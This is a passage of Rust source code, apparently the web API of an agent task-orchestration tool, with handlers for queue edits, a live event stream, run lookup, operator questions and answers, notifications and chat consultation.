6543 )));
6544 }
6545 scoped = filtered.clone();
6546 stats::collect_refs(filtered)
6547 }
6548 None => stats::collect(&states),
6549 };
6550 if !q.all {
6551 let repo = q
6552 .repo
6553 .as_deref()
6554 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6555 stats::retain_current_roster(&mut collected, &repo);
6556 }
6557 let daily = stats::daily(
6558 scoped,
6559 jiff::Zoned::now().date(),
6560 &jiff::tz::TimeZone::system(),
6561 STATS_DAILY_DAYS,
6562 );
6563 let queue_counts = (!q.runs_only)
6564 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6565 Ok(Json(StatsView {
6566 totals: StatsTotalsView::from(&collected.totals),
6567 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6568 reviewers: collected
6569 .reviewers
6570 .iter()
6571 .map(ReviewerStatsView::from)
6572 .collect(),
6573 advisors: collected
6574 .advisors
6575 .iter()
6576 .map(AdvisorStatsView::from)
6577 .collect(),
6578 e2e: E2eStatsView::from(&collected.e2e),
6579 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6580 queue: queue_counts,
6581 runs_unreadable: runs_unreadable(&ui.runs),
6582 repos,
6583 daily: daily.iter().map(DailyStatsView::from).collect(),
6584 repo: q.repo.clone(),
6585 retired_hidden: collected.retired_hidden.clone(),
6586 }))
6587 })
6588 .await
6589}
6590
6591#[derive(Debug, Default, Deserialize)]
6594#[serde(default, deny_unknown_fields)]
6595struct HoldBody {
6596 reason: Option<String>,
6597}
6598
6599async fn queue_hold(
6600 State(ui): State<Arc<Ui>>,
6601 Path(id): Path<String>,
6602 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6603) -> ApiResult<Json<TaskView>> {
6604 let body = match body {
6608 Ok(Json(body)) => body,
6609 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6610 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6611 };
6612 let reason = body.reason.filter(|r| !r.trim().is_empty());
6613 mutate(ui, id, move |t| {
6614 t.hold_manual(reason.clone());
6615 Ok(())
6616 })
6617 .await
6618}
6619
6620async fn queue_release(
6621 State(ui): State<Arc<Ui>>,
6622 Path(id): Path<String>,
6623) -> ApiResult<Json<TaskView>> {
6624 mutate(ui, id, |t| {
6625 t.release_operator("web", None);
6626 Ok(())
6627 })
6628 .await
6629}
6630
6631#[derive(Debug, Deserialize)]
6632#[serde(deny_unknown_fields)]
6633struct AttemptLimitBody {
6634 attempt_limit: serde_json::Value,
6636}
6637
6638async fn queue_attempt_limit(
6639 State(ui): State<Arc<Ui>>,
6640 Path(id): Path<String>,
6641 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6642) -> ApiResult<Json<TaskView>> {
6643 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6644 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6645 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6646 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6647}
6648
6649#[derive(Debug, Deserialize)]
6650#[serde(deny_unknown_fields)]
6651struct ImplementersBody {
6652 implementers: u8,
6653}
6654
6655async fn queue_implementers(
6656 State(ui): State<Arc<Ui>>,
6657 Path(id): Path<String>,
6658 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6659) -> ApiResult<Json<TaskView>> {
6660 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6661 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6662}
6663
6664#[derive(Debug, Deserialize)]
6665#[serde(deny_unknown_fields)]
6666struct UrgentBody {
6667 urgent: bool,
6668}
6669
6670async fn queue_urgent(
6671 State(ui): State<Arc<Ui>>,
6672 Path(id): Path<String>,
6673 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6674) -> ApiResult<Json<TaskView>> {
6675 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6676 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6677}
6678
6679#[derive(Debug, Deserialize)]
6681#[serde(deny_unknown_fields)]
6682struct PriorityBody {
6683 priority: i32,
6684}
6685
6686async fn queue_priority(
6692 State(ui): State<Arc<Ui>>,
6693 Path(id): Path<String>,
6694 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6695) -> ApiResult<Json<TaskView>> {
6696 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6697 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6698}
6699
6700#[derive(Debug, Deserialize)]
6702#[serde(deny_unknown_fields)]
6703struct EditBody {
6704 title: String,
6705 instruction: String,
6706 #[serde(default)]
6709 force: bool,
6710}
6711
6712async fn queue_edit(
6716 State(ui): State<Arc<Ui>>,
6717 Path(id): Path<String>,
6718 body: std::result::Result<Json<EditBody>, JsonRejection>,
6719) -> ApiResult<Json<TaskView>> {
6720 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6721 let mut judged: Option<(String, PathBuf)> = None;
6725 if !body.force {
6726 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6727 let (id, text) = (id.clone(), body.instruction.clone());
6728 let (seen, hits) = blocking(move || {
6729 let id = resolve_task(&queue, &id)?;
6730 let t = queue.get(&id)?;
6731 if text == t.instruction {
6732 return Ok((None, Vec::new()));
6733 }
6734 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6735 Ok((Some((t.instruction, t.repo)), hits))
6736 })
6737 .await?;
6738 if let Some((_, repo)) = &seen {
6739 let cfg = crate::config::Config::discover(repo, None)
6740 .ok()
6741 .map(|(c, _)| c);
6742 let screened =
6743 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6744 .await
6745 .map_err(|dup| {
6746 ApiError::conflict(dup.render(
6747 "Nothing was saved. If it is not a duplicate, repeat the request \
6748 with \"force\": true.",
6749 ))
6750 })?;
6751 if let crate::dupes::Screened::Unjudged(why) = screened {
6752 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6753 }
6754 }
6755 judged = seen;
6756 }
6757 let force = body.force;
6758 mutate(ui, id, move |t| {
6759 if !force && body.instruction != t.instruction {
6760 match &judged {
6761 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6762 _ => {
6763 anyhow::bail!("the task changed while it was being checked; repeat the request")
6764 }
6765 }
6766 }
6767 t.edit(body.title.clone(), body.instruction.clone())
6768 })
6769 .await
6770}
6771
6772async fn queue_done(
6780 State(ui): State<Arc<Ui>>,
6781 Path(id): Path<String>,
6782) -> ApiResult<Json<TaskView>> {
6783 let home = ui.home.clone();
6784 mutate(ui, id, move |t| {
6785 t.succeed();
6786 crate::daemon::supersede_prior_runs(t, &home);
6794 Ok(())
6795 })
6796 .await
6797}
6798
6799async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6807 blocking(move || {
6808 let id = resolve_task(&ui.queue, &id)?;
6809 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6810 ui.queue
6811 .remove(&id, in_flight, &ui.questions)
6812 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6813 Ok(StatusCode::NO_CONTENT)
6814 })
6815 .await
6816}
6817
6818async fn mutate(
6827 ui: Arc<Ui>,
6828 id: String,
6829 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6830) -> ApiResult<Json<TaskView>> {
6831 blocking(move || {
6832 let id = resolve_task(&ui.queue, &id)?;
6833 let _claim = ui.queue.claim(&id).map_err(|e| {
6838 ApiError::conflict(format!(
6839 "{e:#} - a daemon is running this task, so it cannot be \
6840 changed from here yet; wait until it is released, then retry"
6841 ))
6842 })?;
6843 let mut task = ui.queue.get(&id)?;
6844 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6845 Ok(dup) => ApiError::conflict(dup.render(
6846 "Nothing was saved. If it is not a duplicate, repeat the request with \
6847 \"force\": true.",
6848 )),
6849 Err(e) => ApiError::bad_request_from(e),
6850 })?;
6851 ui.queue.put(&mut task)?;
6852 Ok(Json(TaskView::from(task)))
6853 })
6854 .await
6855}
6856
6857async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6862 ui.monitor.ensure_worker(&ui);
6863 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6864 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6865
6866 let state = Arc::clone(&ui);
6867 tokio::spawn(async move {
6868 let initial_revisions = {
6869 let guard = match state.monitor.latest.lock() {
6870 Ok(g) => g,
6871 Err(p) => p.into_inner(),
6872 };
6873 guard.as_ref().map(|(r, _)| *r)
6874 };
6875 if let Some(revisions) = initial_revisions {
6876 let initial_payload = serde_json::json!({
6877 "queue_rev": revisions.0,
6878 "runs_rev": revisions.1,
6879 "questions_rev": revisions.2,
6880 "talks_rev": revisions.3,
6881 "notifications_rev": revisions.4,
6882 "loop_rev": revisions.5,
6883 });
6884
6885 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6886 if tx.send(event).await.is_err() {
6887 return;
6888 }
6889 }
6890 }
6891
6892 loop {
6893 match tokio::select! {
6894 _ = tx.closed() => return,
6895 value = broadcast_rx.recv() => value,
6896 } {
6897 Ok(notif) => {
6898 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6899 else {
6900 break;
6901 };
6902 if tx.send(event).await.is_err() {
6903 break;
6904 }
6905 }
6906 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6907 let revs = {
6908 let guard = match state.monitor.latest.lock() {
6909 Ok(g) => g,
6910 Err(p) => p.into_inner(),
6911 };
6912 guard.as_ref().map(|(r, _)| *r)
6913 };
6914 if let Some(revs) = revs {
6915 let payload = serde_json::json!({
6916 "queue_rev": revs.0,
6917 "runs_rev": revs.1,
6918 "questions_rev": revs.2,
6919 "talks_rev": revs.3,
6920 "notifications_rev": revs.4,
6921 "loop_rev": revs.5,
6922 });
6923 if let Ok(event) = Event::default().event("change").json_data(payload) {
6924 if tx.send(event).await.is_err() {
6925 break;
6926 }
6927 }
6928 }
6929 }
6930 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6931 break;
6932 }
6933 }
6934 }
6935 });
6936
6937 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6938 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6939}
6940
6941fn run_ids(runs: &FsPath) -> Vec<String> {
6947 let mut ids: Vec<String> = std::fs::read_dir(runs)
6948 .into_iter()
6949 .flatten()
6950 .flatten()
6951 .filter(|e| e.path().join("run.json").is_file())
6952 .map(|e| e.file_name().to_string_lossy().into_owned())
6953 .collect();
6954 ids.sort_unstable_by(|a, b| b.cmp(a));
6956 ids
6957}
6958
6959fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6961 let path = runs.join(id).join("run.json");
6962 let body =
6963 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6964 let state: RunState =
6965 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6966 run::migrate_schema(state)
6971}
6972
6973#[must_use]
6981pub fn runs_unreadable(runs: &FsPath) -> usize {
6982 run_ids(runs)
6983 .into_iter()
6984 .filter(|id| read_run(runs, id).is_err())
6985 .count()
6986}
6987
6988fn plain_record_id(id: &str) -> bool {
6989 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
6990}
6991
6992fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6994 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
6995 return Ok(id.to_owned());
6996 }
6997 pick(run_ids(runs), id, "run")
6998}
6999
7000fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7002 if plain_record_id(id) && queue.path_of(id).is_file() {
7003 return Ok(id.to_owned());
7004 }
7005 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7006 pick(ids, id, "task")
7007}
7008
7009#[derive(Debug, Serialize)]
7020struct QuestionView {
7021 choice_effects: std::collections::BTreeMap<String, String>,
7022 record_revision: String,
7023 #[serde(flatten)]
7024 question: Question,
7025 detail_md: Vec<md::Node>,
7026 posting_view: Option<PostingView>,
7027 thread_bodies_md: Vec<Vec<md::Node>>,
7029 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7032 waiting_on_agent: bool,
7042 holder: Option<&'static str>,
7046 deputies_enabled: bool,
7050 deputy_exhausted: bool,
7053 text_delivery: crate::question_delivery::Availability,
7054 run_is_task: bool,
7057 origin_chat: Option<String>,
7060 origin_chat_closed: bool,
7062 can_consult_chat: bool,
7064}
7065
7066#[derive(Debug, Serialize)]
7067struct PostingView {
7068 before_md: Vec<md::Node>,
7069 after_md: Vec<md::Node>,
7070 fields: Vec<crate::github_text::ComparisonView>,
7071}
7072
7073fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7074 let comparison = question.posting_comparison.as_ref()?;
7075 if !comparison.matches_detail(&question.detail) {
7076 return None;
7077 }
7078 let mut ids = std::collections::BTreeSet::new();
7079 if comparison.fields.is_empty()
7080 || comparison
7081 .fields
7082 .iter()
7083 .flat_map(|f| &f.pairs)
7084 .any(|p| !ids.insert(p.id))
7085 || comparison
7086 .fields
7087 .iter()
7088 .flat_map(|f| &f.original_triggers)
7089 .any(|t| !ids.insert(t.id))
7090 {
7091 return None;
7092 }
7093 let fields = comparison
7094 .fields
7095 .iter()
7096 .map(|f| f.view(comparison.excerpt))
7097 .collect::<Option<Vec<_>>>()?;
7098 Some(PostingView {
7099 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7100 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7101 fields,
7102 })
7103}
7104
7105impl QuestionView {
7106 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7110 let base = md::ImageBase::QuestionPanel {
7111 id: question.id.clone(),
7112 };
7113 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7114 Self {
7115 choice_effects: question
7116 .choices
7117 .iter()
7118 .filter_map(|c| {
7119 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7120 })
7121 .collect(),
7122 record_revision: question_record_revision(&question),
7123 detail_md: md::to_nodes(&question.detail, &base),
7124 posting_view: posting_view(&question, &base),
7125 thread_bodies_md: question
7126 .thread
7127 .iter()
7128 .map(|t| md::to_nodes(&t.body, &base))
7129 .collect(),
7130 thread_notes_md: question
7131 .thread
7132 .iter()
7133 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7134 .collect(),
7135 deputy_exhausted: store.deputy_exhausted(&question),
7136 waiting_on_agent: question.waiting_on_agent(),
7137 holder,
7138 deputies_enabled: deputies_enabled(cfg, &question),
7139 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7140 run_is_task: question.run_names_task(),
7141 origin_chat: None,
7142 origin_chat_closed: false,
7143 can_consult_chat: false,
7144 question,
7145 }
7146 }
7147
7148 fn with_origin(
7150 mut self,
7151 tasks: &[crate::queue::Task],
7152 talks: &[Talk],
7153 watches: &[crate::release_watch::WatchState],
7154 ) -> Self {
7155 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7156 self.can_consult_chat = consult.is_some();
7157 let talk =
7158 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7159 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7160 self.origin_chat = talk.map(|t| t.id);
7161 self
7162 }
7163}
7164
7165fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7169 Config::discover(repo, None).ok().map(|(c, _)| c)
7170}
7171
7172fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7174 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7175}
7176
7177fn question_views(
7180 qs: Vec<Question>,
7181 store: &ask::Questions,
7182 load: impl FnOnce() -> Option<Config>,
7183) -> Vec<QuestionView> {
7184 if qs.is_empty() {
7185 return Vec::new();
7186 }
7187 let cfg = load();
7188 qs.into_iter()
7189 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7190 .collect()
7191}
7192
7193fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7203 if !q.status.open() {
7204 return None;
7205 }
7206 if q.cwd.is_none()
7207 && q.deputy.is_none()
7208 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7209 {
7210 return crate::deputy::kind_of(q).map(|_| "nobody");
7211 }
7212 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7213 Some(_) if q.deputy.is_some() => "deputy",
7214 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7215 Some(_) => "asker",
7216 None => "nobody",
7217 })
7218}
7219
7220async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7226 blocking(move || {
7227 let questions = ui.questions.list();
7228 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7229 Ok(Json(
7230 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7231 .into_iter()
7232 .map(|view| view.with_origin(&tasks, &talks, &watches))
7233 .collect(),
7234 ))
7235 })
7236 .await
7237}
7238
7239async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7241 blocking(move || {
7242 Ok(Json(question_views(
7243 ui.questions.list(),
7244 &ui.questions,
7245 || deputy_config(&ui.repo),
7246 )))
7247 })
7248 .await
7249}
7250
7251fn question_record_revision(question: &Question) -> String {
7252 use std::hash::{Hash as _, Hasher as _};
7253 let mut hash = std::hash::DefaultHasher::new();
7254 serde_json::to_vec(question)
7255 .expect("serializable question")
7256 .hash(&mut hash);
7257 format!("{:016x}", hash.finish())
7258}
7259
7260#[derive(Serialize)]
7261struct QuestionOriginView {
7262 id: String,
7263 record_revision: String,
7264 origin_chat: Option<String>,
7265 origin_chat_closed: bool,
7266 can_consult_chat: bool,
7267}
7268
7269async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7270 blocking(move || {
7271 let questions = ui.questions.list();
7272 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7273 Ok(Json(
7274 questions
7275 .into_iter()
7276 .map(|question| {
7277 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7278 let can_consult_chat = consult.is_some();
7279 let talk = crate::consult::associated_talk_with_watches(
7280 &tasks, &talks, &question, &watches,
7281 );
7282 QuestionOriginView {
7283 record_revision: question_record_revision(&question),
7284 id: question.id,
7285 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7286 origin_chat: talk.map(|talk| talk.id),
7287 can_consult_chat,
7288 }
7289 })
7290 .collect(),
7291 ))
7292 })
7293 .await
7294}
7295
7296type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7297
7298fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7302 fn task_for_run(
7303 ui: &Ui,
7304 index: &mut Option<Vec<Arc<TaskRelation>>>,
7305 run: &str,
7306 loaded: &HashMap<String, Task>,
7307 ) -> ApiResult<Option<Task>> {
7308 if !plain_record_id(run) {
7309 return Ok(None);
7310 }
7311 if index.is_none() {
7312 *index = Some(ui.indexed_tasks()?);
7313 }
7314 Ok(index
7315 .as_ref()
7316 .expect("loaded index")
7317 .iter()
7318 .find(|task| task.runs.iter().any(|id| id == run))
7319 .and_then(|task| {
7320 loaded
7321 .get(&task.id)
7322 .cloned()
7323 .or_else(|| ui.queue.get(&task.id).ok())
7324 })
7325 .filter(|task| task.runs.iter().any(|id| id == run)))
7326 }
7327 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7328 plain_record_id(id)
7329 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7330 .flatten()
7331 .filter(|task| task.id == id)
7332 };
7333 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7334 let mut index = None;
7335 let mut tasks = HashMap::new();
7336 let mut talks = HashMap::new();
7337 for question in questions {
7338 for reference in crate::consult::question_task_refs(question, &watches) {
7339 let mut current = match reference {
7340 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7341 crate::consult::QuestionTaskRef::Run(id) => {
7342 task_for_run(ui, &mut index, id, &tasks)?
7343 }
7344 };
7345 let mut seen = HashSet::new();
7346 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7347 let Some(task) = current.take() else {
7348 break;
7349 };
7350 if !seen.insert(task.id.clone()) {
7351 break;
7352 }
7353 let chat = task.chat_talk().map(str::to_owned);
7354 let followup = task.followup.clone();
7355 tasks.insert(task.id.clone(), task);
7356 if let Some(chat) = chat {
7357 if plain_record_id(&chat)
7358 && !talks.contains_key(&chat)
7359 && let Ok(talk) = ui.talks.get(&chat)
7360 {
7361 talks.insert(chat, talk);
7362 }
7363 break;
7364 }
7365 let Some(followup) = followup else {
7366 break;
7367 };
7368 current = match followup.origin_task {
7369 Some(id) => direct_task(&id, &tasks),
7370 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7371 };
7372 }
7373 }
7374 }
7375 let mut tasks: Vec<Task> = tasks.into_values().collect();
7376 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7377 Ok((tasks, talks.into_values().collect(), watches))
7378}
7379
7380async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7383 blocking(move || {
7384 let items = ui.notices.list();
7385 let unread = items.iter().filter(|n| n.unread()).count();
7386 let items: Vec<_> = items
7387 .into_iter()
7388 .map(|n| {
7389 let question = crate::notices::answerable_question(&n, &ui.questions);
7390 let mut item = serde_json::to_value(n)?;
7391 item["answerable_question"] = serde_json::json!(question);
7392 Ok(item)
7393 })
7394 .collect::<anyhow::Result<_>>()?;
7395 Ok(Json(
7396 serde_json::json!({ "unread": unread, "items": items }),
7397 ))
7398 })
7399 .await
7400}
7401
7402fn notice_error(e: anyhow::Error) -> ApiError {
7403 ApiError::not_found(format!("{e:#}"))
7406}
7407
7408async fn notification_read(
7410 State(ui): State<Arc<Ui>>,
7411 Path(id): Path<String>,
7412) -> ApiResult<Json<Notice>> {
7413 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7414}
7415
7416async fn notification_dismiss(
7418 State(ui): State<Arc<Ui>>,
7419 Path(id): Path<String>,
7420) -> ApiResult<Json<Notice>> {
7421 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7422}
7423
7424async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7426 blocking(move || {
7427 let changed = ui.notices.mark_all_read()?;
7428 Ok(Json(serde_json::json!({ "marked": changed })))
7429 })
7430 .await
7431}
7432
7433#[derive(Debug, Default, Deserialize)]
7439#[serde(default, deny_unknown_fields)]
7440struct NewAnswer {
7441 choice: Option<String>,
7442 text: Option<String>,
7443 talk: Option<String>,
7444 head: Option<String>,
7445}
7446
7447async fn question_answer(
7448 State(ui): State<Arc<Ui>>,
7449 Path(id): Path<String>,
7450 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7451) -> ApiResult<Json<QuestionView>> {
7452 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7453 let answer = match (body.choice, body.text) {
7454 (Some(c), None) => Answer::Choice(c),
7455 (None, Some(t)) => Answer::Text(t),
7456 (Some(_), Some(_)) => {
7457 return Err(ApiError::bad_request(
7458 "send either `choice` or `text`, not both",
7459 ));
7460 }
7461 (None, None) => {
7462 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7463 }
7464 };
7465
7466 blocking(move || {
7467 let id = resolve_question(&ui.questions, &id)?;
7468 let q = ui
7469 .questions
7470 .get(&id)
7471 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7472 if !q.status.open() {
7473 return Err(ApiError::conflict(format!(
7477 "question {} is already {}",
7478 q.short(),
7479 q.status.as_str()
7480 )));
7481 }
7482 let cfg = deputy_config(&ui.repo);
7486 let (q, ()) = ui
7487 .questions
7488 .update(&q.id, |r| {
7489 anyhow::ensure!(
7490 r.routed_task.is_none() || r.merge_target.is_some(),
7491 "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7492 );
7493 let merge = matches!(&answer, ask::Answer::Choice(c)
7494 if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7495 if r.routed_task.is_some() && r.merge_target.is_some() && merge
7498 && (body.talk.is_some() || body.head.is_some())
7499 {
7500 let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7501 let head = body.head.as_deref().context("approval button requires the displayed head")?;
7502 let talk = ui.talks.get(talk_id)?;
7503 anyhow::ensure!(
7504 talk.status.open(),
7505 "approval chat is closed"
7506 );
7507 r.answer_chat_button(answer, talk_id, head)
7508 } else {
7509 r.answer(answer)
7510 }
7511 })
7512 .map_err(ApiError::bad_request_from)?;
7513 let (tasks, talks, watches) =
7514 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7515 Ok(Json(
7516 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7517 ))
7518 })
7519 .await
7520}
7521
7522fn question_text_error(e: anyhow::Error) -> ApiError {
7524 let reason = e
7525 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7526 .map(|e| e.reason);
7527 let error = ApiError::bad_request_from(e);
7528 if let Some(reason) = reason {
7529 ApiError {
7530 text_reason: Some(reason),
7531 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7532 }
7533 } else {
7534 error
7535 }
7536}
7537
7538#[derive(Debug, Deserialize)]
7540#[serde(deny_unknown_fields)]
7541struct NewSay {
7542 body: String,
7543}
7544
7545async fn question_say(
7555 State(ui): State<Arc<Ui>>,
7556 Path(id): Path<String>,
7557 body: std::result::Result<Json<NewSay>, JsonRejection>,
7558) -> ApiResult<Json<QuestionView>> {
7559 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7560 blocking(move || {
7561 let id = resolve_question(&ui.questions, &id)?;
7562 let q = ui
7563 .questions
7564 .get(&id)
7565 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7566 if !q.status.open() {
7567 return Err(ApiError::conflict(format!(
7571 "question {} is already {}",
7572 q.short(),
7573 q.status.as_str()
7574 )));
7575 }
7576 let cfg = deputy_config(&ui.repo);
7579 let (q, ()) = ui
7580 .questions
7581 .update(&q.id, |r| {
7582 if body.body.trim().is_empty() {
7583 return r.say(body.body);
7584 }
7585 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7586 r.say(body.body)
7587 })
7588 .map_err(question_text_error)?;
7589 let (tasks, talks, watches) =
7590 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7591 Ok(Json(
7592 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7593 ))
7594 })
7595 .await
7596}
7597
7598async fn admitted<T: Send + 'static>(
7601 admission: AdmissionGuard,
7602 work: impl Future<Output = ApiResult<T>> + Send + 'static,
7603) -> ApiResult<T> {
7604 tokio::spawn(async move {
7605 let result = work.await;
7606 drop(admission);
7607 result
7608 })
7609 .await
7610 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7611}
7612
7613async fn question_consult(
7622 State(ui): State<Arc<Ui>>,
7623 Path(id): Path<String>,
7624) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7625 let admission = ui.begin_admission()?;
7626 admitted(admission, async move {
7627 let (q, tasks, talks, watches, talk, cfg) = blocking({
7628 let ui = Arc::clone(&ui);
7629 move || {
7630 let id = resolve_question(&ui.questions, &id)?;
7631 let q = ui.questions.get(&id).map_err(|e| {
7632 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7633 })?;
7634 if !q.status.open() {
7635 return Err(ApiError::conflict(format!(
7636 "question {} is already {}",
7637 q.short(),
7638 q.status.as_str()
7639 )));
7640 }
7641 let (tasks, talks, watches) =
7642 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7643 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7644 return Err(ApiError::conflict(format!(
7645 "question {} has no chat to ask",
7646 q.short()
7647 )));
7648 };
7649 let cfg = if q.consult.is_none() {
7653 Some(Config::discover(&talk.repo, None)?.0)
7654 } else {
7655 None
7656 };
7657 Ok((q, tasks, talks, watches, talk, cfg))
7658 }
7659 })
7660 .await?;
7661 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7662 .await
7663 .map_err(ApiError::from)?;
7664 let (view, reclaimed, submitted) = blocking({
7665 let ui = Arc::clone(&ui);
7666 move || {
7667 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7668 let claim = if fresh {
7669 match ui.begin_queued_talk_turn(&talk.id)? {
7670 Some(turn_guard) => {
7671 let talk = ui.talks.get(&talk.id)?;
7672 let cfg = match cfg {
7673 Some(cfg) => cfg,
7674 None => Config::discover(&talk.repo, None)?.0,
7675 };
7676 Some((talk, cfg, turn_guard))
7677 }
7678 None => None,
7679 }
7680 } else {
7681 None
7682 };
7683 let q = ui.questions.get(&q.id)?;
7684 let cfg = deputy_config(&ui.repo);
7685 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7686 .with_origin(&tasks, &talks, &watches);
7687 Ok((view, claim, fresh.then_some(talk.id)))
7688 }
7689 })
7690 .await?;
